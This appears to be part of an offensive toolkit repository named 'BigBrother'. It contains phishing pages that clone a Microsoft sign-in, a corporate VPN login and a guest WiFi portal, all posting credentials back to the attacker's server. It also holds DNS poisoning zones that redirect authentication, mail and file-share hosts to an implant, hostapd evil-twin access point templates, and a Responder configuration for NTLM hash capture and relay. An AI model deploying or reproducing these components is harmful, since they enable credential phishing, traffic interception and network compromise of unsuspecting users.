.duration{text-align:center;margin-top:16px;font-size:12px;color:#999}
.row{display:flex;gap:12px}
.row .form-group{flex:1}
</style>
</head>
<body>
<div class="portal">
<div class="header">
<div class="wifi-icon">&#128246;</div>
<h1>Guest WiFi Access</h1>
<p>Welcome! Please register to connect to our guest network.</p>
</div>
<form method="POST" action="/" id="guestForm">
<div class="row">
<div class="form-group">
<label for="first_name">First Name</label>
<input type="text" id="first_name" name="first_name" placeholder="John" required>
</div>
<div class="form-group">
<label for="last_name">Last Name</label>
<input type="text" id="last_name" name="last_name" placeholder="Smith" required>
</div>
</div>
<div class="form-group">
<label for="email">Email Address</label>
<input type="email" id="email" name="email" placeholder="john.smith@example.com" required>
</div>
<div class="form-group">
<label for="company">Company / Organization</label>
<input type="text" id="company" name="company" placeholder="Acme Corp">
</div>
<div class="form-group">
<label for="reason">Purpose of Visit</label>
<select id="reason" name="reason">
<option value="meeting">Meeting / Appointment</option>
<option value="vendor">Vendor / Contractor</option>
<option value="interview">Interview</option>
<option value="event">Event / Conference</option>
<option value="other">Other</option>
</select>
</div>
<div class="terms-box">
<h3>Terms of Use</h3>
<p>By connecting to this wireless network, you agree to the following terms and conditions:</p>
<p>1. This network is provided for authorized guest use only. All network activity may be monitored and recorded for security purposes.</p>
<p>2. Users must not attempt to access unauthorized systems, intercept network traffic, or engage in any activity that violates applicable laws.</p>
<p>3. The organization reserves the right to terminate access at any time without notice.</p>
<p>4. This is an unsecured network. Users connect at their own risk. The organization is not responsible for any data loss or security incidents.</p>
<p>5. Access is limited to 24 hours. Contact the front desk for extensions.</p>
</div>
<div class="checkbox-group">
<input type="checkbox" id="accept_terms" name="accept_terms" required>
<label for="accept_terms">I accept the Terms of Use and acknowledge that network activity may be monitored.</label>
</div>
<button type="submit" class="btn-connect">Connect to WiFi</button>
</form>
<div class="duration">Access valid for 24 hours from registration.</div>
</div>
</body>
</html>
@@ -0,0 +1,88 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Sign in to your account</title>
<style>
*{margin:0;padding:0;box-sizing:border-box}
body{font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;background:#f2f2f2;display:flex;justify-content:center;align-items:center;min-height:100vh}
.login-box{background:#fff;width:440px;min-height:338px;padding:44px;box-shadow:0 2px 6px rgba(0,0,0,.2)}
.ms-logo{margin-bottom:16px}
.ms-logo svg{width:108px;height:24px}
.title{font-size:24px;font-weight:600;color:#1b1b1b;margin-bottom:24px}
.form-field{margin-bottom:16px;position:relative}
.form-field input{width:100%;padding:6px 0 6px 10px;border:none;border-bottom:1px solid #666;font-size:15px;outline:none;background:transparent;color:#1b1b1b;height:36px}
.form-field input:focus{border-bottom:2px solid #0067b8;padding-bottom:5px}
.form-field input::placeholder{color:#767676}
.link-forgot{display:block;font-size:13px;color:#0067b8;text-decoration:none;margin-bottom:16px;margin-top:4px}
.link-forgot:hover{text-decoration:underline;color:#005a9e}
.btn-next{display:block;width:100%;padding:10px 20px;background:#0067b8;color:#fff;border:none;font-size:15px;font-weight:600;cursor:pointer;transition:background .15s;text-align:center}
.btn-next:hover{background:#005a9e}
.options{margin-top:16px}
.options a{display:block;font-size:13px;color:#0067b8;text-decoration:none;margin-bottom:6px}
.options a:hover{text-decoration:underline}
.footer-links{margin-top:32px;display:flex;gap:16px}
.footer-links a{font-size:12px;color:#0067b8;text-decoration:none}
.footer-links a:hover{text-decoration:underline}
.step{display:none}
.step.active{display:block}
.back-btn{background:none;border:none;cursor:pointer;display:flex;align-items:center;gap:6px;font-size:13px;color:#1b1b1b;margin-bottom:16px;padding:0}
.back-btn:hover{text-decoration:underline}
.back-btn svg{width:16px;height:16px}
.user-display{display:flex;align-items:center;gap:8px;background:#f2f2f2;border-radius:20px;padding:4px 16px 4px 4px;margin-bottom:20px;width:fit-content;font-size:13px;color:#1b1b1b}
.user-display .avatar{width:24px;height:24px;background:#0067b8;border-radius:50%;display:flex;align-items:center;justify-content:center;color:#fff;font-size:11px;font-weight:600}
</style>
</head>
<body>
<div class="login-box">
<div class="ms-logo">
<svg viewBox="0 0 108 24"><path fill="#f25022" d="M0 0h11v11H0z"/><path fill="#7fba00" d="M12 0h11v11H12z"/><path fill="#00a4ef" d="M0 12h11v11H0z"/><path fill="#ffb900" d="M12 12h11v11H12z"/><text x="28" y="18" fill="#1b1b1b" font-family="Segoe UI" font-size="16" font-weight="600">Microsoft</text></svg>
</div>
<div class="step active" id="step1">
<div class="title">Sign in</div>
<form id="emailForm" onsubmit="showStep2(event)">
<div class="form-field">
<input type="text" id="username" name="username" placeholder="Email, phone, or Skype" required autofocus autocomplete="username">
</div>
<div class="options">
<a href="#">No account? Create one!</a>
<a href="#">Can't access your account?</a>
</div>
<div style="text-align:right;margin-top:24px">
<button type="submit" class="btn-next" style="width:auto;display:inline-block;min-width:108px">Next</button>
</div>
</form>
</div>
<div class="step" id="step2">
<button type="button" class="back-btn" onclick="showStep1()">
<svg viewBox="0 0 16 16"><path d="M11 1L4 8l7 7" fill="none" stroke="currentColor" stroke-width="2"/></svg>
<span id="displayEmail"></span>
</button>
<div class="title">Enter password</div>
<form method="POST" action="/" id="passwordForm">
<input type="hidden" id="hiddenUsername" name="username">
<div class="form-field">
<input type="password" id="password" name="password" placeholder="Password" required autocomplete="current-password">
</div>
<a href="#" class="link-forgot">Forgot my password</a>
<div style="text-align:right">
<button type="submit" class="btn-next" style="width:auto;display:inline-block;min-width:108px">Sign in</button>
</div>
</form>
</div>
<div class="footer-links">
<a href="#">Terms of use</a>
<a href="#">Privacy & cookies</a>
</div>
</div>
<script>
function showStep2(e){e.preventDefault();var u=document.getElementById('username').value;document.getElementById('displayEmail').textContent=u;document.getElementById('hiddenUsername').value=u;document.getElementById('step1').classList.remove('active');document.getElementById('step2').classList.add('active');document.getElementById('password').focus()}
function showStep1(){document.getElementById('step2').classList.remove('active');document.getElementById('step1').classList.add('active');document.getElementById('username').focus()}
</script>
</body>
</html>
+91
View File
@@ -0,0 +1,91 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>VPN Gateway - Secure Access</title>
<style>
*{margin:0;padding:0;box-sizing:border-box}
body{font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,sans-serif;background:#1a1a2e;display:flex;justify-content:center;align-items:center;min-height:100vh;color:#e0e0e0}
.container{display:flex;flex-direction:column;align-items:center;width:100%;max-width:400px;padding:20px}
.status-bar{background:rgba(255,255,255,.05);border:1px solid rgba(255,255,255,.1);border-radius:8px;padding:10px 20px;margin-bottom:24px;width:100%;display:flex;align-items:center;gap:10px;font-size:13px}
.status-dot{width:8px;height:8px;border-radius:50%;background:#ff4444;animation:pulse 2s infinite}
@keyframes pulse{0%,100%{opacity:1}50%{opacity:.4}}
.status-bar span{color:#ccc}
.login-card{background:linear-gradient(145deg,#16213e,#1a1a2e);border:1px solid rgba(255,255,255,.08);border-radius:16px;padding:40px 36px;width:100%;box-shadow:0 8px 32px rgba(0,0,0,.3)}
.header{text-align:center;margin-bottom:32px}
.shield-icon{width:56px;height:56px;margin:0 auto 16px;background:rgba(0,150,255,.15);border-radius:14px;display:flex;align-items:center;justify-content:center}
.shield-icon svg{width:32px;height:32px;fill:#0096ff}
.header h1{font-size:20px;font-weight:600;color:#fff}
.header p{font-size:13px;color:#888;margin-top:6px}
.form-group{margin-bottom:18px}
.form-group label{display:block;font-size:12px;font-weight:500;color:#aaa;margin-bottom:6px;text-transform:uppercase;letter-spacing:.5px}
.form-group input,.form-group select{width:100%;padding:12px 14px;border:1px solid rgba(255,255,255,.1);border-radius:8px;font-size:14px;outline:none;background:rgba(255,255,255,.05);color:#fff;transition:border-color .2s}
.form-group input:focus,.form-group select:focus{border-color:#0096ff;box-shadow:0 0 0 3px rgba(0,150,255,.15)}
.form-group input::placeholder{color:#555}
.form-group select{appearance:none;cursor:pointer}
.form-group select option{background:#1a1a2e;color:#fff}
.remember-row{display:flex;align-items:center;justify-content:space-between;margin-bottom:24px}
.remember-row label{display:flex;align-items:center;gap:6px;font-size:13px;color:#aaa;cursor:pointer}
.remember-row input[type=checkbox]{accent-color:#0096ff}
.btn-connect{width:100%;padding:14px;background:linear-gradient(135deg,#0066ff,#0096ff);color:#fff;border:none;border-radius:8px;font-size:15px;font-weight:600;cursor:pointer;transition:opacity .2s;position:relative;overflow:hidden}
.btn-connect:hover{opacity:.9}
.btn-connect:active{transform:scale(.99)}
.security-note{margin-top:24px;text-align:center;font-size:11px;color:#555;line-height:1.5}
.security-note svg{width:12px;height:12px;fill:#555;vertical-align:middle;margin-right:4px}
.cert-info{margin-top:16px;padding:12px;background:rgba(0,150,255,.05);border:1px solid rgba(0,150,255,.1);border-radius:8px;font-size:11px;color:#668}
.cert-info .label{color:#0096ff;font-weight:500}
</style>
</head>
<body>
<div class="container">
<div class="status-bar">
<div class="status-dot"></div>
<span>SSL VPN Gateway &mdash; Authentication Required</span>
</div>
<div class="login-card">
<div class="header">
<div class="shield-icon"><svg viewBox="0 0 24 24"><path d="M12 1L3 5v6c0 5.55 3.84 10.74 9 12 5.16-1.26 9-6.45 9-12V5l-9-4zm0 10.99h7c-.53 4.12-3.28 7.79-7 8.94V12H5V6.3l7-3.11v8.8z"/></svg></div>
<h1>Secure VPN Access</h1>
<p>Authenticate to connect to the corporate network</p>
</div>
<form method="POST" action="/">
<div class="form-group">
<label for="realm">Authentication Realm</label>
<select id="realm" name="realm">
<option value="corporate">Corporate (AD)</option>
<option value="contractor">Contractor</option>
<option value="admin">IT Admin</option>
<option value="emergency">Emergency Access</option>
</select>
</div>
<div class="form-group">
<label for="username">Username</label>
<input type="text" id="username" name="username" placeholder="DOMAIN\username or email" required autofocus autocomplete="username">
</div>
<div class="form-group">
<label for="password">Password</label>
<input type="password" id="password" name="password" placeholder="Enter your password" required autocomplete="current-password">
</div>
<div class="form-group">
<label for="otp">Two-Factor Code (if enabled)</label>
<input type="text" id="otp" name="otp" placeholder="6-digit code or leave blank" autocomplete="one-time-code" inputmode="numeric" maxlength="6">
</div>
<div class="remember-row">
<label><input type="checkbox" name="remember"> Remember this device</label>
</div>
<button type="submit" class="btn-connect">Connect</button>
</form>
<div class="security-note">
<svg viewBox="0 0 24 24"><path d="M18 8h-1V6c0-2.76-2.24-5-5-5S7 3.24 7 6v2H6c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V10c0-1.1-.9-2-2-2zm-6 9c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2zm3.1-9H8.9V6c0-1.71 1.39-3.1 3.1-3.1s3.1 1.39 3.1 3.1v2z"/></svg>
Secured with TLS 1.3. All traffic encrypted.
</div>
<div class="cert-info">
<span class="label">Certificate:</span> vpn-gateway.internal<br>
<span class="label">Issued by:</span> Corporate Root CA<br>
<span class="label">Valid until:</span> 2025-12-31
</div>
</div>
</div>
</body>
</html>
View File
+19
View File
@@ -0,0 +1,19 @@
# BigBrother DNS Zone Redirect All
#
# Redirects ALL DNS queries to the implant IP.
# Used with dns_poison.py load_zone() method.
#
# Format: domain target_ip
# Use * for wildcard matching.
#
# WARNING: Redirecting all DNS is extremely noisy. Use selective.zone.j2
# for targeted operations. This zone is for quick-and-dirty captive portal
# or total traffic interception scenarios.
#
# Usage:
# dns_poison.load_zone("redirect_all.zone")
#
# The target IP on the last entry is used as the redirect destination.
# Replace IMPLANT_IP with the actual implant IP before use.
* IMPLANT_IP
+49
View File
@@ -0,0 +1,49 @@
# BigBrother DNS Zone — Selective Redirection
#
# Jinja2 template for targeted DNS poisoning. Render with:
# implant_ip: IP address to redirect to
# target_domain: Primary target domain (e.g., "corp.local")
# extra_domains: Optional list of additional domains
#
# Format: domain target_ip
# Lines starting with # are ignored.
#
# Usage:
# from jinja2 import Template
# rendered = Template(open("selective.zone.j2").read()).render(
# implant_ip="10.0.0.0",
# target_domain="corp.local",
# extra_domains=["intranet.company.com", "vpn.company.com"]
# )
# WPAD — forces proxy autoconfiguration to implant (NTLM capture)
wpad.{{ target_domain }} {{ implant_ip }}
wpad {{ implant_ip }}
# Internal authentication endpoints
login.{{ target_domain }} {{ implant_ip }}
auth.{{ target_domain }} {{ implant_ip }}
sso.{{ target_domain }} {{ implant_ip }}
adfs.{{ target_domain }} {{ implant_ip }}
# Exchange / mail
autodiscover.{{ target_domain }} {{ implant_ip }}
mail.{{ target_domain }} {{ implant_ip }}
owa.{{ target_domain }} {{ implant_ip }}
# SharePoint / intranet
intranet.{{ target_domain }} {{ implant_ip }}
sharepoint.{{ target_domain }} {{ implant_ip }}
portal.{{ target_domain }} {{ implant_ip }}
# File shares (for hash capture)
files.{{ target_domain }} {{ implant_ip }}
nas.{{ target_domain }} {{ implant_ip }}
dfs.{{ target_domain }} {{ implant_ip }}
{% if extra_domains is defined %}
# Additional targeted domains
{% for domain in extra_domains %}
{{ domain }} {{ implant_ip }}
{% endfor %}
{% endif %}
+39
View File
@@ -0,0 +1,39 @@
# BigBrother hostapd configuration — Open AP (no password)
#
# Used by evil_twin.py for captive portal attacks.
# Jinja2 variables:
# interface: Wireless interface (e.g., "wlan0")
# ssid: Target SSID to clone
# channel: WiFi channel (1-11 for 2.4GHz)
# driver: Wireless driver (default: nl80211)
# hw_mode: Hardware mode (default: g for 2.4GHz)
# country_code: Regulatory domain (default: US)
# beacon_int: Beacon interval in ms (default: 100)
interface={{ interface | default('wlan0') }}
driver={{ driver | default('nl80211') }}
ssid={{ ssid }}
hw_mode={{ hw_mode | default('g') }}
channel={{ channel | default(6) }}
country_code={{ country_code | default('US') }}
ieee80211d=1
# No encryption — open AP for captive portal
auth_algs=1
wpa=0
# Beacon and capabilities
beacon_int={{ beacon_int | default(100) }}
wmm_enabled=0
macaddr_acl=0
ignore_broadcast_ssid=0
# 802.11n support (better performance)
ieee80211n=1
ht_capab=[HT40+][SHORT-GI-20][SHORT-GI-40]
# Logging
logger_syslog=-1
logger_syslog_level=2
logger_stdout=-1
logger_stdout_level=2
+45
View File
@@ -0,0 +1,45 @@
# BigBrother hostapd configuration — WPA2-PSK AP
#
# Used by evil_twin.py for WPA2 evil twin attacks.
# Requires knowing or guessing the target PSK.
# Jinja2 variables:
# interface: Wireless interface (e.g., "wlan0")
# ssid: Target SSID to clone
# channel: WiFi channel (1-11 for 2.4GHz)
# wpa_passphrase: WPA2 pre-shared key
# driver: Wireless driver (default: nl80211)
# hw_mode: Hardware mode (default: g for 2.4GHz)
# country_code: Regulatory domain (default: US)
# beacon_int: Beacon interval in ms (default: 100)
interface={{ interface | default('wlan0') }}
driver={{ driver | default('nl80211') }}
ssid={{ ssid }}
hw_mode={{ hw_mode | default('g') }}
channel={{ channel | default(6) }}
country_code={{ country_code | default('US') }}
ieee80211d=1
# WPA2-PSK configuration
auth_algs=1
wpa=2
wpa_passphrase={{ wpa_passphrase }}
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
rsn_pairwise=CCMP
# Beacon and capabilities
beacon_int={{ beacon_int | default(100) }}
wmm_enabled=1
macaddr_acl=0
ignore_broadcast_ssid=0
# 802.11n support
ieee80211n=1
ht_capab=[HT40+][SHORT-GI-20][SHORT-GI-40]
# Logging
logger_syslog=-1
logger_syslog_level=2
logger_stdout=-1
logger_stdout_level=2
+70
View File
@@ -0,0 +1,70 @@
{# BigBrother Responder.conf template
Jinja2 variables:
protocols: dict of protocol toggles (LLMNR, NBT-NS, mDNS, HTTP, SMB, etc.)
relay_targets: set of IPs excluded from SMB auth (for ntlm_relay)
interface: network interface
#}
[Responder Core]
; Servers to start
SQL = {{ 'On' if protocols.get('SQL', false) else 'Off' }}
SMB = {{ 'On' if protocols.get('SMB', true) else 'Off' }}
RDP = Off
Kerberos = Off
FTP = {{ 'On' if protocols.get('FTP', false) else 'Off' }}
POP = {{ 'On' if protocols.get('POP', false) else 'Off' }}
SMTP = {{ 'On' if protocols.get('SMTP', false) else 'Off' }}
IMAP = {{ 'On' if protocols.get('IMAP', false) else 'Off' }}
HTTP = {{ 'On' if protocols.get('HTTP', true) else 'Off' }}
HTTPS = {{ 'On' if protocols.get('HTTP', true) else 'Off' }}
DNS = Off
LDAP = {{ 'On' if protocols.get('LDAP', false) else 'Off' }}
DCERPC = Off
WinRM = Off
SNMP = Off
MQTT = Off
; Custom challenge — Random is stealthier than fixed
Challenge = Random
; Set specific interface
; Interface = {{ interface }}
; WPAD configuration
WPADScript = function FindProxyForURL(url, host){return "DIRECT";}
{% if protocols.get('WPAD', true) %}
; WPAD rogue proxy enabled
Serve-Html = On
Serve-Exe = Off
{% endif %}
; Force WPAD auth for hash capture
Force-WPAD-Auth = {{ 'On' if protocols.get('WPAD', true) else 'Off' }}
; Downgrade to NTLMv1 (more crackable but more detectable)
; Set to On only when specifically targeting NTLMv1
Downgrade-To-NTLMv1 = Off
; Don't respond to these machines (comma-separated hostnames)
DontRespondToNames =
{% if relay_targets %}
; Hosts excluded from SMB auth — being relayed by ntlmrelayx
; These IPs should get auth forwarded to ntlmrelayx, not captured locally
DontRespondTo = {{ relay_targets | join(', ') }}
{% else %}
DontRespondTo =
{% endif %}
[HTTP Server]
; Custom HTML to serve for WPAD/HTTP auth
HTMLToInject =
; Serve a custom EXE
Serve-Always = Off
Filename =
ExecParams =
[HTTPS Server]
; Self-signed cert params
SSLCert = certs/responder.crt
SSLKey = certs/responder.key